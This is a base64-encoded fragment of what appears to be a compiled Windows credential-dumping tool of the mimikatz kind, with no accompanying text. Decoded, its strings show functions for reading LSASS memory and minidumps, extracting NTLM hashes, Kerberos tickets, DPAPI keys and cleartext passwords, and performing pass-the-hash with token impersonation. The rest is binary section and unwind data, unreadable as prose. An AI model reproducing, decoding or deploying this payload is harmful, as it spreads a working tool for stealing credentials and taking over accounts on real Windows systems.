QBlAHIAYQB0AGUAIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMALgAuAC4AAAAAAAAAUwB3AGkAdABjAGgAIAB0AG8AIABQAFIATwBDAEUAUwBTAAoAAAAAAFMAdwBpAHQAYwBoACAAdABvACAATQBJAE4ASQBEAFUATQBQACAAOgAgAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AbQBpAG4AaQBkAHUAbQBwACAAOwAgADwAbQBpAG4AaQBkAHUAbQBwAGYAaQBsAGUALgBkAG0AcAA+ACAAYQByAGcAdQBtAGUAbgB0ACAAaQBzACAAbQBpAHMAcwBpAG4AZwAKAAAAAAAAAAAAAAAAAAAAAABPAHAAZQBuAGkAbgBnACAAOgAgACcAJQBzACcAIABmAGkAbABlACAAZgBvAHIAIABtAGkAbgBpAGQAdQBtAHAALgAuAC4ACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AYQBjAHEAdQBpAHIAZQBMAFMAQQAgADsAIABMAFMAQQBTAFMAIABwAHIAbwBjAGUAcwBzACAAbgBvAHQAIABmAG8AdQBuAGQAIAAoAD8AKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAE0AaQBuAGkAZAB1AG0AcAAgAHAASQBuAGYAbwBzAC0APgBNAGEAagBvAHIAVgBlAHIAcwBpAG8AbgAgACgAJQB1ACkAIAAhAD0AIABNAEkATQBJAEsAQQBUAFoAXwBOAFQAXwBNAEEASgBPAFIAXwBWAEUAUgBTAEkATwBOACAAKAAlAHUAKQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGEAYwBxAHUAaQByAGUATABTAEEAIAA7ACAATQBpAG4AaQBkAHUAbQBwACAAcABJAG4AZgBvAHMALQA+AFAAcgBvAGMAZQBzAHMAbwByAEEAcgBjAGgAaQB0AGUAYwB0AHUAcgBlACAAKAAlAHUAKQAgACEAPQAgAFAAUgBPAEMARQBTAFMATwBSAF8AQQBSAEMASABJAFQARQBDAFQAVQBSAEUAXwBBAE0ARAA2ADQAIAAoACUAdQApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGEAYwBxAHUAaQByAGUATABTAEEAIAA7ACAATQBpAG4AaQBkAHUAbQBwACAAdwBpAHQAaABvAHUAdAAgAFMAeQBzAHQAZQBtAEkAbgBmAG8AUwB0AHIAZQBhAG0AIAAoAD8AKQAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAEsAZQB5ACAAaQBtAHAAbwByAHQACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAEwAbwBnAG8AbgAgAGwAaQBzAHQACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAE0AbwBkAHUAbABlAHMAIABpAG4AZgBvAHIAbQBhAHQAaQBvAG4AcwAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGEAYwBxAHUAaQByAGUATABTAEEAIAA7ACAATQBlAG0AbwByAHkAIABvAHAAZQBuAGkAbgBnAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAEgAYQBuAGQAbABlACAAbwBuACAAbQBlAG0AbwByAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGEAYwBxAHUAaQByAGUATABTAEEAIAA7ACAATABvAGMAYQBsACAATABTAEEAIABsAGkAYgByAGEAcgB5ACAAZgBhAGkAbABlAGQACgAAAAAAAAAAAAkAJQBzACAAOgAJAAAAAABVAG4AZABlAGYAaQBuAGUAZABMAG8AZwBvAG4AVAB5AHAAZQAAAAAAVQBuAGsAbgBvAHcAbgAgACEAAAAAAAAASQBuAHQAZQByAGEAYwB0AGkAdgBlAAAATgBlAHQAdwBvAHIAawAAAEIAYQB0AGMAaAAAAAAAAABTAGUAcgB2AGkAYwBlAAAAUAByAG8AeAB5AAAAAAAAAFUAbgBsAG8AYwBrAAAAAABOAGUAdAB3AG8AcgBrAEMAbABlAGEAcgB0AGUAeAB0AAAAAAAAAAAATgBlAHcAQwByAGUAZABlAG4AdABpAGEAbABzAAAAAABSAGUAbQBvAHQAZQBJAG4AdABlAHIAYQBjAHQAaQB2AGUAAAAAAAAAQwBhAGMAaABlAGQASQBuAHQAZQByAGEAYwB0AGkAdgBlAAAAAAAAAEMAYQBjAGgAZQBkAFIAZQBtAG8AdABlAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAAAEMAYQBjAGgAZQBkAFUAbgBsAG8AYwBrAAAAAAAAAAAACgBBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AIABJAGQAIAA6ACAAJQB1ACAAOwAgACUAdQAgACgAJQAwADgAeAA6ACUAMAA4AHgAKQAKAFMAZQBzAHMAaQBvAG4AIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlAHMAIABmAHIAbwBtACAAJQB1AAoAVQBzAGUAcgAgAE4AYQBtAGUAIAAgACAAIAAgACAAIAAgACAAOgAgACUAdwBaAAoARABvAG0AYQBpAG4AIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAdwBaAAoATABvAGcAbwBuACAAUwBlAHIAdgBlAHIAIAAgACAAIAAgACAAOgAgACUAdwBaAAoAAAAAAAAAAABMAG8AZwBvAG4AIABUAGkAbQBlACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAAAAAABTAEkARAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAAAAAABQAHIAZQB2AGkAbwB1AHMAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGsAcgBiAHQAZwB0ACAAOwAgAFUAbgBhAGIAbABlACAAdABvACAAZgBpAG4AZAAgAEsARABDACAAcABhAHQAdABlAHIAbgAgAGkAbgAgAEwAUwBBAFMAUwAgAG0AZQBtAG8AcgB5AAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBrAHIAYgB0AGcAdAAgADsAIABLAEQAQwAgAHMAZQByAHYAaQBjAGUAIABuAG8AdAAgAGkAbgAgAEwAUwBBAFMAUwAgAG0AZQBtAG8AcgB5AAoAAAAKACUAcwAgAGsAcgBiAHQAZwB0ADoAIAAAAAAAAAAAACUAdQAgAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAKAAAACQAgACoAIAAlAHMAIAA6ACAAAAAAAAAARABQAEEAUABJAF8AUwBZAFMAVABFAE0ACgAAAAAAAABmAHUAbABsADoAIAAAAAAACgBtAC8AdQAgADoAIAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBkAHAAYQBwAGkAXwBzAHkAcwB0AGUAbQAgADsAIABOAG8AdAAgAGkAbgBpAHQAaQBhAGwAaQB6AGUAZAAhAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AZABwAGEAcABpAF8AcwB5AHMAdABlAG0AIAA7ACAAUABhAHQAdABlAHIAbgAgAG4AbwB0ACAAZgBvAHUAbgBkACAAaQBuACAARABQAEEAUABJACAAcwBlAHIAdgBpAGMAZQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGQAcABhAHAAaQBfAHMAeQBzAHQAZQBtACAAOwAgAEQAUABBAFAASQAgAHMAZQByAHYAaQBjAGUAIABuAG8AdAAgAGkAbgAgAEwAUwBBAFMAUwAgAG0AZQBtAG8AcgB5AAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHQAcgB1AHMAdAAgADsAIABQAGEAdAB0AGUAcgBuACAAbgBvAHQAIABmAG8AdQBuAGQAIABpAG4AIABLAEQAQwAgAHMAZQByAHYAaQBjAGUACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AdAByAHUAcwB0ACAAOwAgAEsARABDACAAcwBlAHIAdgBpAGMAZQAgAG4AbwB0ACAAaQBuACAATABTAEEAUwBTACAAbQBlAG0AbwByAHkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwB0AHIAdQBzAHQAIAA7ACAATwBuAGwAeQAgAGYAbwByACAAPgA9ACAAMgAwADAAOAByADIACgAAAAAAAAAKACAAIABbACUAcwBdACAAAAAAAAAAAAAtAD4AIAAlAHcAWgAKAAAAJQB3AFoAIAAtAD4ACgAAAAkAZgByAG8AbQA6ACAAAAAJACoAIAAlAHMAIAA6ACAAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AYgBrAGUAeQAgADsAIABQAGEAdAB0AGUAcgBuACAAbgBvAHQAIABmAG8AdQBuAGQAIABpAG4AIABEAFAAQQBQAEkAIABzAGUAcgB2AGkAYwBlAAoAAAAAAAAAAABsAHUAaQBkAAAAAAAAAAAAaQBtAHAAZQByAHMAbwBuAGEAdABlAAAAcgB1AG4AAAB5AGUAcwAAAG4AbwAAAAAAAAAAAAAAAAB1AHMAZQByAAkAOgAgACUAcwAKAGQAbwBtAGEAaQBuAAkAOgAgACUAcwAKAHAAcgBvAGcAcgBhAG0ACQA6ACAAJQBzAAoAaQBtAHAAZQByAHMALgAJADoAIAAlAHMACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABNAGkAcwBzAGkAbgBnACAAYQByAGcAdQBtAGUAbgB0ACAAOgAgAGQAbwBtAGEAaQBuAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAATQBpAHMAcwBpAG4AZwAgAGEAcgBnAHUAbQBlAG4AdAAgADoAIAB1AHMAZQByAAoAAAAAAAAAAABBAEUAUwAxADIAOAAJADoAIAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAAQQBFAFMAMQAyADgAIABrAGUAeQAgAGwAZQBuAGcAdABoACAAbQB1AHMAdAAgAGIAZQAgADMAMgAgACgAMQA2ACAAYgB5AHQAZQBzACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAAQQBFAFMAMQAyADgAIABrAGUAeQAgAG8AbgBsAHkAIABzAHUAcABwAG8AcgB0AGUAZAAgAGYAcgBvAG0AIABXAGkAbgBkAG8AdwBzACAAOAAuADEAIAAoAG8AcgAgADcALwA4ACAAdwBpAHQAaAAgAGsAYgAyADgANwAxADkAOQA3ACkACgAAAEEARQBTADIANQA2AAkAOgAgAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABBAEUAUwAyADUANgAgAGsAZQB5ACAAbABlAG4AZwB0AGgAIABtAHUAcwB0ACAAYgBlACAANgA0ACAAKAAzADIAIABiAHkAdABlAHMAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABBAEUAUwAyADUANgAgAGsAZQB5ACAAbwBuAGwAeQAgAHMAdQBwAHAAbwByAHQAZQBkACAAZgByAG8AbQAgAFcAaQBuAGQAbwB3AHMAIAA4AC4AMQAgACgAbwByACAANwAvADgAIAB3AGkAdABoACAAawBiADIAOAA3ADEAOQA5ADcAKQAKAAAATgBUAEwATQAJADoAIAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAAbgB0AGwAbQAgAGgAYQBzAGgALwByAGMANAAgAGsAZQB5ACAAbABlAG4AZwB0AGgAIABtAHUAcwB0ACAAYgBlACAAMwAyACAAKAAxADYAIABiAHkAdABlAHMAKQAKAAAAAAAAAAAAAABtAG8AZABlAAkAOgAgAHIAZQBwAGwAYQBjAGkAbgBnACAATgBUAEwATQAvAFIAQwA0ACAAawBlAHkAIABpAG4AIABhACAAcwBlAHMAcwBpAG8AbgAKAAAAIAAgAHwAIAAgAFAASQBEACAAIAAlAHUACgAgACAAfAAgACAAVABJAEQAIAAgACUAdQAKAAAAAAAqACoAIABUAG8AawBlAG4AIABJAG0AcABlAHIAcwBvAG4AYQB0AGkAbwBuACAAKgAqAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABTAGUAdABUAGgAcgBlAGEAZABUAG8AawBlAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAARAB1AHAAbABpAGMAYQB0AGUAVABvAGsAZQBuAEUAeAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHAAdABoACAAOwAgAEcAZQB0AFQAbwBrAGUAbgBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzAFQAbwBrAGUAbgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHAAdABoACAAOwAgAEMAcgBlAGEAdABlAFAAcgBvAGMAZQBzAHMAVwBpAHQAaABMAG8AZwBvAG4AVwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAATQBpAHMAcwBpAG4AZ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ABsAAAAAAAAAAAAVABpAGMAawBlAHQAIABHAHIAYQBuAHQAaQBuAGcAIABTAGUAcgB2AGkAYwBlAAAAQwBsAGkAZQBuAHQAIABUAGkAYwBrAGUAdAAgAD8AAABUAGkAYwBrAGUAdAAgAEcAcgBhAG4AdABpAG4AZwAgAFQAaQBjAGsAZQB0AAAAAAAKAAkARwByAG8AdQBwACAAJQB1ACAALQAgACUAcwAAAAoACQAgACoAIABLAGUAeQAgAEwAaQBzAHQAIAA6AAoAAAAAAAAAAABkAGEAdABhACAAYwBvAHAAeQAgAEAAIAAlAHAAAAAAAAoAIAAgACAAXABfACAAJQBzACAAAAAAAC0APgAgAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBlAG4AdQBtAF8AawBlAHIAYgBlAHIAbwBzAF8AYwBhAGwAbABiAGEAYwBrAF8AcAB0AGgAIAA7ACAAawB1AGwAbABfAG0AXwBtAGUAbQBvAHIAeQBfAGMAbwBwAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAoAIAAgACAAXABfACAAKgBQAGEAcwBzAHcAbwByAGQAIAByAGUAcABsAGEAYwBlACAALQA+ACAAAAAAAAAAAABuAHUAbABsAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBrAGUAcgBiAGUAcgBvAHMAXwBlAG4AdQBtAF8AdABpAGMAawBlAHQAcwAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwB3AHIAaQB0AGUARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAoACQAgACAAIABMAFMAQQAgAFMAZQBzAHMAaQBvAG4AIABLAGUAeQAgACAAIAA6ACAAMAB4ACUAMAA4AHgAIAAtACAAJQBzAAAAAAAAAAAAWwAlAHgAOwAlAHgAXQAtACUAMQB1AC0AJQB1AC0AJQAwADgAeAAtACUAdwBaAEAAJQB3AFoALQAlAHcAWgAuACUAcwAAAAAAWwAlAHgAOwAlAHgAXQAtACUAMQB1AC0AJQB1AC0AJQAwADgAeAAuACUAcwAAAAAAbABpAHYAZQBzAHMAcAAuAGQAbABsAAAAU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WQKAB1UCQAdNAgAHTIZ8BfgFcABDwYAD2QJAA80CAAPUgtwASAMACBkDQAgVAwAIDQLACAyHPAa4BjQFsAUcAEZCAAZZAgAGVQHABk0BgAZMhVwAR0IAB1kCgAdVAkAHTQIAB1SGXABHAwAHGQMABxUCwAcNAoAHDIY8BbgFNASwBBwARgGABhkBwAYNAYAGDIUcAEKBAAKNAgAClIGcAEVCAAVdAoAFWQJABU0CAAVUhHgARkKABl0CQAZZAgAGVQHABk0BgAZMhXgAQ8GAA9UCQAPNAgAD1ILcAESCAASVAoAEjQIABIyDuAMcAtgAQoEAAo0BgAKMgZwARkKABl0DgAZZA0AGTQMABlyFfAT4BHAARQIABRkCAAUVAcAFDQGABQyEHABGQoAGXQLABlkCgAZVAkAGTQIABlSFeABGwoAG3QRABtkEAAbNA8AG5IU8BLgEFABHQwAHXQNAB1kDAAdVAsAHTQKAB1SGfAX4BXAARwLABx0MAAcVC8AHDQuABwBKgAV8BPgEcAAAAEUBgAUNA0AFFINcAxgC1ABGAgAGGQWABg0FQAY8g7gDHALUAEkCgAkNBkAJNId8BvgGdAXwBVwFGATUAEfDAAfdBcAH2QVAB80FAAf0hjwFuAU0BLAEFABHAwAHGQVABxUEwAcNBIAHLIY8BbgFNASwBBwARcIABdkDwAXVA4AFzQNABeSE3ABJAoAJDQUACSSHfAb4BnQF8AVcBRgE1ABBgIABlICMAEIAgAIcgQwARgKABhkFAAYVBMAGDQSABjSFPAS4BBwARwMABxkEgAcVBEAHDQQABySGPAW4BTQEsAQcAEQBgAQZAsAEDQKABByDHABGwoAG3QUABtkEwAbNBIAG9IU8BLgEFABEAYAEFQLABA0CgAQcgxgAR0MAB10CwAdZAoAHVQJAB00CAAdMhnwF+AV0AEKAgAKMgYwAQ8GAA9kBwAPNAYADzILcAETBAATNAYAEzIPcAEUCgAUNA0AFDIQ8A7gDNAKwAhwB2AGUAEPBgAPVAkADzQIAA9SC2ABIw0AI3QiACNkIQAjNCAAIwEaABjwFuAU0BLAEFAAAAEZCgAZNBYAGdIV8BPgEdAPwA1wDGALUAEfCQAf4hvwGeAX0BXAE3ASYBFQEDAAAAEZCgAZ5BMAGXQSABlkEQAZNBAAGdIV8AEeCgAeNBYAHtIa8BjgFtAUwBJwEWAQUAEKBAAKNA4ACrIGcAEiCQAi4hvwGeAX0BXAE3ASYBEwEFAAAAEfDAAfdBYAH2QVAB80FAAf0hjwFuAU0BLAEFABHgoAHjQVAB6yGvAY4BbQFMAScBFgEFABGAoAGGQOABhUDQAYNAwAGHIU8BLgEHABFQgAFXQOABVkDQAVNAwAFZIR4AEZBwAZNFgAGQFUABJwEWAQUAAAARQGABRkDgAUNAwAFJIQcAESCAASVA8AEjQOABJyDuAMcAtgASAMACBkEwAgVBIAIDQRACCSHPAa4BjQFsAUcAEZCgAZdA0AGWQMABlUCwAZNAoAGXIV4AEQBgAQZA0AEDQMABCSDHABCgQACjQIAApSBmABFQgAFXQIABVkBwA